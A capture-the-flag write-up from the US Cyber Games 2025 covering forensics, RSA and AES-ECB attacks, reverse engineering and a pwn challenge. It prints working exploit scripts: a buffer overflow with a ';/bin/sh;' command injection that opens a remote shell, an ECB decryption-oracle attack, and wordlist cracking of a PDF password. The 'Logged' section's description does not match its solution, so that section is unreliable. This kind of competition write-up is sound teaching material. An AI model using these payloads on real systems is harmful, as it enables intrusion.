US CyberGames
This write up documents the challenges I solved during the US Cyber Games 2025 , specifically in the categories of Pwn, Forensics, Reverse Engineering, and Cryptography. Each section walks through my process—from analyzing binary exploits and reconstructing OLED display data to decrypting protected files and extracting browser artifacts.
Drive Discovery
Challenge File: nothinginterestinghere.001
Category: Forensics
Tools Used: file
, FTK Imager, base64
Description
We’re given a file named nothinginterestinghere.001
— clearly a disk image segment. Our task is to examine it and extract any hidden or deleted secrets.
Digging in with FTK Imager
I opened the .001
file using FTK Imager. Within the folder view, under a directory labeled secrets
, I found a deleted file named flag.txt
.
Even though the file was deleted, its contents were still recoverable. The content looked like this:
1
U1ZCUkd7ZDNsMzczZF9uMDdfZjByNjA3NzNuXzI4MzAyOTM4Mn0=
Decoding the Flag
I copied the string and used the base64
command-line utility to decode it:
1
SVBRG{d3l373d_n07_f0r60773n_283029382}
Gotta Go Low
Description
We’re given RSA parameters:
1
2
3
4
e = 3
n = 131568056653373132012174976653266884910157447726840322128654668864744046838266089026781586223439349724120314053694539817871939811571791816723493939318461523177171366268168393668921342560692769288416456729904590430725433093936110904690901655852707387030375716854722258158043345187159940346383427399753323791427
ciphertext = 898564915277349210856325643177982880844269990070750993964886895279898673815668084088711509416748167698104435154155125903563814943672577759197896689419072923530272379905743352154731864706846939063378835946564725599528080721144587149407333
We’re also provided the challenge script used to generate the keypair and encrypt the flag. This lets us infer something critical: no padding was used.
Vulnerability: Low Exponent + Small Message
Since e = 3
and the message was likely small (like a flag), if the plaintext cubed (m³
) is smaller than the modulus n
, then: ciphertext=m^3
This makes RSA trivially breakable by taking the integer cube root of the ciphertext.
Solution
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from sympy import integer_nthroot
ciphertext = 898564915277349210856325643177982880844269990070750993964886895279898673815668084088711509416748167698104435154155125903563814943672577759197896689419072923530272379905743352154731864706846939063378835946564725599528080721144587149407333
n = 131568056653373132012174976653266884910157447726840322128654668864744046838266089026781586223439349724120314053694539817871939811571791816723493939318461523177171366268168393668921342560692769288416456729904590430725433093936110904690901655852707387030375716854722258158043345187159940346383427399753323791427
e = 3
m_root, exact = integer_nthroot(ciphertext, e)
if exact:
plaintext_int = m_root
plaintext = plaintext_int.to_bytes((plaintext_int.bit_length() + 7) // 8, byteorder='big').decode()
print("message:", plaintext)
else:
print("The cube root is not exact")
1
SVBGR{l0w_3xp0n3nt5_@r3_n0t_s@fe}
BezoutBezoutBezout
Description
We were given:
- A list of numbers in
nums.txt
- A list of GCD values in
gcds.txt
- A validation script
bezoutbezoutbezout.py
containing this core logic:
1
2
3
4
5
6
for i in range(len(gcds)):
d = gcds[i]
a, b = magic_select(d, nums)
s, t = magic_bezout(a, b)
assert(d + s + t == ord(flag[i]))
This strongly suggests the use of the Extended Euclidean Algorithm.
Solution
After reading about Bézout’s identity, the path became clear: if gcd(a, b) = d
, then there exist integers s
and t
such that:
If gcd(a,b)=d, then s⋅a+t⋅b=d
Which leads to: flag[i]=d+s+t
All we needed was to find such (a, b)
pairs in nums.txt
with the correct gcd
and recover s + t
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from math import gcd
from itertools import combinations
with open("gcds.txt") as f:
gcds = eval(f.read())
with open("nums.txt") as f:
nums = eval(f.read())
def extended_gcd(a, b):
if b == 0:
return (1, 0, a)
else:
x1, y1, g = extended_gcd(b, a % b)
x, y = y1, x1 - (a // b) * y1
return (x, y, g)
valid_chars_per_index = []
for d in gcds:
candidates = set()
for a, b in combinations(nums, 2):
if gcd(a, b) == d:
x, y, g = extended_gcd(a, b)
x *= d // g
y *= d // g
for k in range(-3, 4):
s = x - k * (b // d)
t = y + k * (a // d)
val = d + s + t
if 32 <= val <= 126:
candidates.add(chr(val))
if not candidates:
candidates.add('?')
valid_chars_per_index.append(sorted(candidates))
def backtrack(index, current):
if index == len(valid_chars_per_index):
return current
for ch in valid_chars_per_index[index]:
result = backtrack(index + 1, current + ch)
if result:
return result
return None
flag = backtrack(0, "")
print("flag:", flag)
1
SVBGR{numb3rs_h0ld_s3cr3ts_1f_u_l00k_cl0s3}
Block Blast
Description
This challenge exposes an AES-ECB encryption oracle that appends a secret flag to user-controlled input. By exploiting ECB’s deterministic block structure, we recover the flag one byte at a time using a crafted prefix and ciphertext matching.
Oracle Behavior (learned from code)
1
def encrypt_oracle(user_bytes: bytes) -> bytes: plaintext = user_bytes + FLAG
The challenge encrypts user-controlled input followed by an unknown flag using AES-ECB, so by carefully aligning our input, we can recover the flag one byte at a time through ciphertext block comparison.
1
block = known_input + unknown_flag_byte
And since ECB encrypts each block independently, repeating known input gives us a way to guess the next byte of the flag.
Solution
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!/usr/bin/env python3
import socket, binascii, string
def connect(host="crypto.ctf.uscybergames.com", port=5001):
s = socket.socket(); s.connect((host, port))
print(s.recv(1024).decode())
return s
def query(sock, hex_data):
sock.send((hex_data + "\n").encode())
r = sock.recv(4096).decode().strip()
return r[2:] if r.startswith("> ") else r
def ecb_byte_at_a_time(sock):
BLOCK_SIZE = 16
flag = b""
charset = string.printable.encode()
print("[+]attack...")
for i in range(100):
pad_len = (BLOCK_SIZE - 1 - (len(flag) % BLOCK_SIZE)) % BLOCK_SIZE
pad = b"A" * pad_len
target = query(sock, binascii.hexlify(pad).decode())
blk_idx = (pad_len + len(flag)) // BLOCK_SIZE
blk_range = slice(blk_idx * 32, (blk_idx + 1) * 32)
ref_block = target[blk_range]
for b in charset:
guess = pad + flag + bytes([b])
guess += b"A" * ((BLOCK_SIZE - len(guess) % BLOCK_SIZE) % BLOCK_SIZE)
guess_hex = binascii.hexlify(guess[: (blk_idx + 1) * BLOCK_SIZE]).decode()
resp = query(sock, guess_hex)
if resp[blk_range] == ref_block:
flag += bytes([b])
print(f"[+] found byte: {chr(b)} | flag: {flag.decode(errors='replace')}")
break
else:
print("[!] Byte not found."); break
if flag.endswith(b'}') and flag.startswith(b'flag{'):
print(f"[+] Full flag: {flag.decode()}"); break
return flag
def main():
print("[+] Connecting...")
sock = connect()
try:
flag = ecb_byte_at_a_time(sock)
print(f"[+] Flag: {flag.decode(errors='replace')}")
finally:
sock.close()
if __name__ == "__main__":
main()
1
SVBGR{M3G4_P0W3RUP_C0MB0}
Donut
Binary Protections
Description
You can set your timezone, buy donuts (costs money), earn money (via a guessing game), and access a hidden maintenance mode if the donuts
variable is set to the magic value 0xCAFEBABE
Binary Protections
Reverse Engineering
From the main()
and maintenance()
functions, we learn the following
1
gets(timezone); // vulnerable input
We can overflow timezone
to overwrite donuts
, which is how access to the admin panel is gated:
1
2
3
if (donuts == -889275714) { // 0xCAFEBABE
// admin panel
}
Inside admin panel:
1
2
snprintf(cmd, 0x64, "date --date='TZ=\"%s\"'", timezone);
system(cmd); // command injection possible
Exploit Strategy
Craft payload for
gets(timezone)
:Fill 32 bytes of
timezone
Skip 4 bytes of
money
Overwrite
donuts
with0xCAFEBABE
Inject a shell command in
timezone
so it ends up in:
1
date --date='TZ="';/bin/sh;'"'
- When
system()
runs that, we execute/bin/sh
.- Send option 3 (maintenance mode) to trigger the exploit.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
REMOTE_HOST = "pwn.ctf.uscybergames.com"
REMOTE_PORT = 5000
p = remote(REMOTE_HOST, REMOTE_PORT)
command_payload = b"';/bin/sh;'"
padding_timezone = b"A" * (32 - len(command_payload))
padding_money = b"B" * 4
donuts_value = p32(0xCAFEBABE)
exploit_payload = command_payload + padding_timezone + padding_money + donuts_value
log.info(f"Sending exploit payload...")
p.sendlineafter(b"> ", exploit_payload)
# Send option 3 to enter maintenance panel
log.info("Triggering admin panel...")
p.sendlineafter(b"> ", b"3")
log.success("Enjoy your shell 🍩")
p.interactive()
CTF Cafe
We’re given a 64-bit ELF binary named ctf_cafe
, dynamically linked and not stripped—which is great because all symbols are intact for reverse engineering.
Solution Analyzing main()
, we find:
1
2
3
4
5
6
7
8
9
10
if (v4 == 9) {
puts("Oh, so you want the secret sauce recipe? Only if you have our proprietary key!");
printf("Enter 8-byte hex key: ");
if (scanf("%lx", &key) == 1) {
if (key == 0x9BD2C75A49C4EFEB) {
puts("Congratulations!");
for (i = 0; i <= 0x20; ++i)
putchar(secret_sauce[i] ^ size[i % 8]);
}
The key we need is 0x9BD2C75A49C4EFEB
, and it decrypts the bytes in the array secret_sauce
using XOR with a repeating size
array.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
secret_sauce = [
0xC8, 0x84, 0x85, 0x1D, 0x1B, 0xBF, 0x8B, 0xD8,
0xF8, 0xE2, 0xAA, 0x2A, 0x78, 0xA8, 0xDC, 0x99,
0xE8, 0x8D, 0xAA, 0x6E, 0x22, 0xF7, 0xB0, 0x87,
0xAA, 0xB4, 0xF4, 0x05, 0x7A, 0xF0, 0x9C, 0x92,
0xE6
]
size = [0x9B, 0xD2, 0xC7, 0x5A, 0x49, 0xC4, 0xEF, 0xEB]
recipe = ''.join(chr(secret_sauce[i] ^ size[i % 8]) for i in range(len(secret_sauce)))
print("secret sauce recipe:", recipe)
1
SVBGR{d3c0mp1l3rs_m4k3_l1f3_34sy}
Historical Fiction
Description
One of the US Cyber Games administrators is looking for a cybersecurity book. They don’t want the hardcover or Kindle version—just the paperback. The ISBN of the paperback book is the flag.
We’re provided with a zipped copy of a user’s Chrome profile directory. Chrome typically stores browsing history in a file called History
under:
1
<Chrome User Profile>/Default/History
On a typical Linux system, that would be something like:
1
~/.config/google-chrome/Default/History
The History
file is a SQLite 3 database. We can open it like this:
1
sqlite3 "Google/Chrome/User Data/Default/History"
Among the entries, we find this important one:
1
https://www.amazon.com/Hack-Back-Techniques-Hackers-Their/dp/1032818530/ref=tmm_pap_swatch_0
This URL points to the paperback edition of:
The Hack Is Back by Varsalone, Jesse, and Haller, Christopher
We extract the ISBN from the page or URL:
978-1032818535
1
SVUSCG{978-1032818535}
Logged
Description
One of the US Cyber Games administrators forgot their password to the FTP Server a lot of times. How many times did they forget it according to the IIS Windows log file?
We start by extracting ICMP traffic and observing the relative arrival times of packets:
1
tshark -r SilentSignal.pcap -Y "icmp" -T fields -e frame.number -e frame.time_relative
This gives us output like:
1
2
3
4
5
1 0.000000000
2 83.000000000
3 169.000000000
4 235.000000000
...
The packet timing deltas (differences between each consecutive timestamp) represent ASCII values.
1
2
3
4
5
6
7
8
9
10
times = [0, 83, 169, 235, 317, 388, 511, 627, 732, 841, 892,
987, 1103, 1217, 1269, 1387, 1438, 1546, 1641, 1759,
1808, 1905, 2000, 2112, 2161, 2271, 2374, 2499]
for i in range(1, len(times)):
delta = int(times[i] - times[i - 1])
print(chr(delta), end='')
1
SVBRG{tim3_tr4v3l_v1a_p1ng}
Redactables
Description We’re given a PDF file that appears encrypted and supposedly “redacted.”
Step 1: Crack the PDF Password
We use pdf2john
(from the John the Ripper suite) to extract a crackable hash:
1
pdf2john redactable.pdf > pdf_hash.txt
Then, we crack it using the popular rockyou.txt
wordlist:
1
john pdf_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Within seconds, we get:
1
redactable.pdf:friends4eva
Password: friends4eva
Step 2: Decrypt the PDF
Now we can unlock the PDF using qpdf
:
1
qpdf --password=friends4eva --decrypt redactable.pdf clean.pdf
Opening clean.pdf
, we find… a completely black image
Step 3: Extract the Image
1
pdfimages -all clean.pdf extracted
This produces a swirled/distorted image.
Step 4: Unswirl the Image (GIMP)
Open the extracted image in GIMP, then:
Go to Filters > Distorts > Whirl and Pinch
Set Whirl = -519 (adjust until it looks correct)
You’ll now see the hidden flag in clear text
1
SVUSCG{oops_i_did_it_again_i_didnt_redact}
OLED Gadget Password Recovery
Description
oled-gadget.elf
,oled-gadget.elf.i64
, andoled-gadget.bin
sh1108v2.0.pdf
— a datasheet for the OLED display controller used in the device
Recover the password displayed on the SH1108-based OLED screen during device startup — no hardware access. The flag is rendered by the firmware, so we must reverse engineer it.
Understanding the Display Controller
The SH1108 PDF provides critical insight:
It’s a 160×160 monochrome OLED with a page-oriented memory (each page = 8 vertical pixels × N horizontal columns).
The system uses Segment Remap (0xA1) and Common Scan Direction Reverse (0xC8) to flip the image horizontally and vertically.
The code initializes the OLED to 128×160 display mode using
0xA9, 0x02
.
Interpretation:
Segment Remap = 0xA1
: Horizontal flip (SEG[159-X])Scan Direction = 0xC8
: Vertical flip (COM[N-1] to COM0)
So any image in memory is rendered rotated 180° on screen.
Extracting the Display Buffer
The firmware copies a portion of .rodata
directly into the OLED framebuffer:
1
memcpy(sh1108_frame_buffer_raw, &_etext, 0xA00); // 2560 bytes
That’s 2560 bytes total (0xA00), and it’s sent to the screen using a driver for the SH1108 OLED controller. I opened the PDF to confirm exactly how this works — and yeah, it helped a ton.
What I confirmed from the SH1108 PDF:
The display is 160x160, but the firmware only writes 128 columns × 160 rows (that’s 20 pages of 128 bytes).
The command
0xA9, 0x02
in the init sequence sets the resolution to 128 rows x 160 SEG, with COM16 to COM143 active.The controller uses page addressing mode (
0x20
), and writes 128 bytes per page.
Now, more importantly:
Segment Re-map (0xA1) → flips the image horizontally.
Common Output Scan Direction (0xC8) → flips the image vertically.
That combo? It’s a 180° rotation of the image stored in .rodata when rendered.
I checked how the framebuffer was set: the first byte goes to GDDRAM column 16, and with the segment remap, that maps to SEG143. The last byte maps to SEG16. That confirms the horizontal flip.
For the vertical part, page 0 appears at the bottom due to the 0xC8
command, and page 19 at the top.
So with this confirmed from the datasheet, I wrote a quick Python script that:
Parses the
.rodata
bytes from the ELF dump.Reconstructs the framebuffer (160 rows, 128 columns).
Applies the horizontal and vertical flips as per the SH1108 config.
Outputs the correct image:
initial_display_sh1108.png
.
When I rendered it — boom, the flag was right up. No need for hardware emulation.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
import re
from PIL import Image
rodata_dump = """
.rodata:080064BD DCB 0xF0
.rodata:080064BE DCB 0xF0
.rodata:080064BF DCB 0xDC
.rodata:080064C0 DCB 0xDC
.rodata:080064C1 DCB 0xCE
.rodata:080064C2 DCB 0xCE
.rodata:080064C3 DCB 0xCE
.rodata:080064C4 DCB 0xEE
.rodata:080064C5 DCB 0xE
.rodata:080064C6 DCB 0xE
.rodata:080064C7 DCB 0xDC
.rodata:080064C8 DCB 0xF0
.rodata:080064C9 DCB 0xF0
.rodata:080064CA DCB 0
.rodata:08006697 DCB 0xE1
.rodata:08006698 DCB 0x2A
.rodata:08006699 DCB 0
.rodata:0800669A DCB 8
.rodata:0800669B DCB 0
.rodata:0800669C DCB 0
.rodata:0800669D DCB 0
.rodata:0800669E DCB 0
.rodata:0800669F DCB 0
.rodata:080066B2 DCB 0xAF
.rodata:080066B3 ALIGN 4
""" #truncated
FRAME_WIDTH = 128
FRAME_HEIGHT = 160
BYTES_PER_PAGE = FRAME_WIDTH
NUM_PAGES = FRAME_HEIGHT // 8
TOTAL_BYTES = BYTES_PER_PAGE * NUM_PAGES
start_addr = 0x08005C88
end_addr = start_addr + TOTAL_BYTES
data_bytes = {}
for line in rodata_dump.strip().splitlines():
match = re.match(r'\.rodata:(080[0-9A-F]{5})\s+DCB\s+((?:0x[0-9A-Fa-f]+|[0-9]+)(?:\s*,\s*(?:0x[0-9A-Fa-f]+|[0-9]+))*)', line)
if match:
addr = int(match.group(1), 16)
values = [int(v, 16) if v.startswith("0x") else int(v) for v in match.group(2).split(',')]
for offset, val in enumerate(values):
data_bytes[addr + offset] = val
frame_buffer_data = [data_bytes.get(start_addr + i, 0) for i in range(TOTAL_BYTES)]
intermediate_pixels = [[0 for _ in range(FRAME_WIDTH)] for _ in range(FRAME_HEIGHT)]
for page in range(NUM_PAGES):
page_y = page * 8
for col in range(FRAME_WIDTH):
byte_val = frame_buffer_data[page * FRAME_WIDTH + col]
for bit in range(8):
if (byte_val >> bit) & 1:
intermediate_pixels[page_y + bit][col] = 1
img = Image.new('1', (FRAME_WIDTH, FRAME_HEIGHT), color=255)
pixels = img.load()
for y in range(FRAME_HEIGHT):
for x in range(FRAME_WIDTH):
if intermediate_pixels[y][x]:
x_disp = FRAME_WIDTH - 1 - x
y_disp = FRAME_HEIGHT - 1 - y
pixels[x_disp, y_disp] = 0
output_filename = "flag.png"
img.save(output_filename)
print(f"Image saved as '{output_filename}'")
1
SVUSCG{Gen3=BestGen}